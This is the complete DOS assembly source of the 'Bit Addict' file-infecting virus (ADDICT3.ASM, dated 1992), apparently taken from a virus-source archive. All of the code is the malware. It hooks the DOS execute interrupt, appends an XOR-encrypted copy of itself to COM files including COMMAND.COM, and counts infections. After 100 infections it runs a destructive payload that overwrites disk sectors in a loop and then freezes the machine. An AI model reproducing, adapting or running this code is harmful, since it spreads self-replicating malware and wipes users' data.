HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/ADDICT3.ASM

Assembly Source File | 1992-03-17 | 3KB | 265 lines

code segment
    assume    cs:code,ds:code,es:code

    org    0

Size2    equ    Virus-Relocate

    mov    cx,Size2
    mov    ax,word ptr ds:[101h]
    call    Virus

Relocate:
    cmp    byte ptr ds:[103h],100
    jb    InstallVirus

    xor    dx,dx
Repeat:    push    dx
    mov    ax,2
    xor    bx,bx
    mov    cx,100
    int    26h
    pop    ax
    pop    dx
    add    dx,100
    jnc    Repeat

    cli
Hangup:    jmp    Hangup

InstallVirus:
    mov    ax,04b41h
    int    21h
    mov    ds,ax
    pop    ax
    sub    ax,offset Relocate
    xor    si,si
    mov    di,ax
    mov    cx,offset Size1
    cld
    repe    cmpsb
    je    Exit
    push    ax
    mov    ah,52h
    int    21h
    push    bx
    mov    ah,30h
    int    21h
    pop    di
    pop    bx
    cmp    al,2
    jb    Exit
    cmp    al,3
    adc    di,12h
    call    GetBuffer
    mov    cs:DataBuffer[bx],ax
    call    GetBuffer
    mov    es,ax
    push    cs
    pop    ds
    mov    si,bx
    xor    di,di
    mov    cx,offset Size1
    cld
    rep    movsb
    xor    ax,ax
    mov    ds,ax
    mov    ax,ds:[84h]
    mov    es:word ptr OldInt21[0],ax
    mov    ax,ds:[86h]
    mov    es:word ptr OldInt21[2],ax
    mov    word ptr ds:[84h],offset NewInt21
    mov    word ptr ds:[86h],es
    push    cs
    pop    ds
    push    bx
    mov    ax,4b40h
    lea    dx,Command[bx]
    int    21h
    pop    bx
Exit:    push    cs
    pop    es
    push    cs
    pop    ds
    lea    si,SavedCode[bx]
    mov    di,0100h
    push    di
    mov    cx,14
    rep    movsb
    ret

GetBuffer:
    push    di
    lds    si,es:[di]
    movsw
    movsw
    add    si,0bh
    mov    cl,4
    shr    si,cl
    mov    ax,ds
    add    ax,si
    pop    di
    ret

Jump        db    0e9h
NearOffset    dw    0
        db    0
ID        db    'Bit Addict'
Command        db    '\COMMAND.COM',0

SavedCode    db    0cdh,020h,12 dup (0h)
Check        equ    SavedCode[4]
Count        equ    SavedCode[3]

OldInt21    dd    0
DataBuffer    dw    0

NewInt21:
    cmp    ax,04b41h
    jne    Ok1
    mov    ax,cs
    iret
Ok1:    cmp    ah,4bh
    je    Infect
EOI:    jmp    dword ptr cs:OldInt21

WriteHeader:
    push    dx
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx
    int    21h
    pop    dx
    jc    Return
    mov    ah,40h
    mov    cx,14
    int    21h
Return:    ret

Infect:    push    ax
    push    bx
    push    cx
    push    si
    push    di
    push    es
    push    ds
    push    dx
    mov    ax,04300h
    int    21h
    push    cx
    test    cx,1
    jz    Ok2
    mov    ax,04301h
    and    cx,0fffeh
    int    21h
Ok2:    mov    ax,03d02h
    int    21h
    jnc    OpenOk
    jmp    Error
OpenOk:    mov    bx,ax
    mov    ax,05700h
    int    21h
    push    cx
    push    dx
    push    cs
    pop    ds
    mov    es,DataBuffer
    xor    si,si
    xor    di,di
    mov    cx,offset Size1
    cld
    rep    movsb
    push    es
    pop    ds
    mov    ah,3fh
    mov    cx,14
    mov    dx,offset SavedCode
    int    21h
    jc    Close2
    cmp    ax,14
    jne    Close2
    mov    si,offset Check
    mov    di,offset ID
    mov    cx,10
    cld
Comp:    lodsb
    xor    al,SavedCode[1]
    scasb
    loope    Comp
    je    Counter
    cmp    word ptr SavedCode,5a4dh
    je    Close2
    mov    ax,04202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    jc    Close2
    or    dx,dx
    jne    Close2
    cmp    ax,0fe80h
    jae    Close2
    sub    ax,3
    mov    NearOffset,ax
    push    ax
    mov    si,offset Relocate
    mov    cx,Size2
Rep1:    xor    [si],al
    inc    si
    loop    Rep1
    mov    ah,40h
    mov    cx,offset Size1
    xor    dx,dx
    int    21h
    pop    ax
    jc    Close2
    mov    si,offset Jump
    mov    cx,4
Rep2:    xor    [si],al
    inc    si
    loop    Rep2
    mov    dx,offset Jump
    call    WriteHeader
Close2:    jmp    short Close
Counter:inc    Count
    mov    dx,offset SavedCode
    call    WriteHeader
    jc    Close
Close:    pop    dx
    pop    cx
    mov    ax,05701h
    int    21h
    mov    ax,03e00h
    int    21h
Error:    pop    cx
    pop    dx
    pop    ds
    test    cx,1
    jz    Ok3
    mov    ax,04301h
    int    21h
Ok3:    pop    es
    pop    di
    pop    si
    pop    cx
    pop    bx
    pop    ax
    cmp    al,40h
    je    IntRet
    jmp    EOI

IntRet:    iret

Virus:    pop    si
    push    si
    push    si
Rep4:    xor    [si],al
    inc    si
    loop    Rep4
    ret

Size1    equ    $

code ends

end